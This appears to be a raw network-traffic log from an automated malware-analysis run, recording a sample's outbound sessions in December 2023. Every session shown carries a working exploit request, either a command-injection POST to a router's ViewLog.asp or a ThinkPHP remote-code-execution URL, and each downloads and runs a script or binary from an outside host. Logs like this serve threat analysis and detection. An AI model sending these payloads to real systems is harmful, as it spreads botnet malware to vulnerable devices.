Dec 26, 2023 21:25:25.259851933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:37.290182114 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:01.606795073 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.23	38506	94.121.75.106	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:15.939666986 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.23	50572	62.29.125.173	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:16.533175945 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.23	45830	31.136.61.53	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:17.438911915 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:18.188882113 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:19.692569017 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:22.700151920 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:28.843430042 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:40.873610020 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:05.702128887 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.23	54922	95.216.101.146	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:17.986260891 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:19.436602116 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:19.702788115 CET	505	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:19 GMT Server: Apache/2.4.34 (Ubuntu) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 34 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 32 61 30 31 3a 34 66 39 3a 32 62 3a 31 34 65 64 3a 3a 32 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.34 (Ubuntu) Server at 2a01:4f9:2b:14ed::2 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.23	46404	95.216.249.171	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:17.988312960 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:18.261333942 CET	506	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:25:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 73 63 68 6c 75 65 6e 6b 65 73 2d 6d 65 64 69 6e 61 2e 64 65 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Ubuntu) Server at schluenkes-medina.de Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.23	59518	95.100.163.109	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:17.990592003 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:18.263879061 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:25:18 GMT Date: Tue, 26 Dec 2023 20:25:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 33 36 38 62 34 38 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 31 38 26 23 34 36 3b 31 66 33 66 36 65 31 65 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.368b4817.1703622318.1f3f6e1e</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.23	55636	88.137.231.205	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:18.935456991 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:22.188218117 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:28.331479073 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:40.361682892 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:05.702136993 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.23	43436	31.136.63.129	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:21.139439106 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:24.235977888 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:30.379059076 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:42.409462929 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:07.749809027 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.23	51336	94.122.17.66	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:21.152343988 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.23	36158	94.123.14.46	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:21.153075933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.23	36128	88.204.215.147	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:21.281088114 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:23.020103931 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:25.259816885 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:29.355237007 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:37.546073914 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:55.463557005 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.23	39468	31.136.56.231	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:22.117197990 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
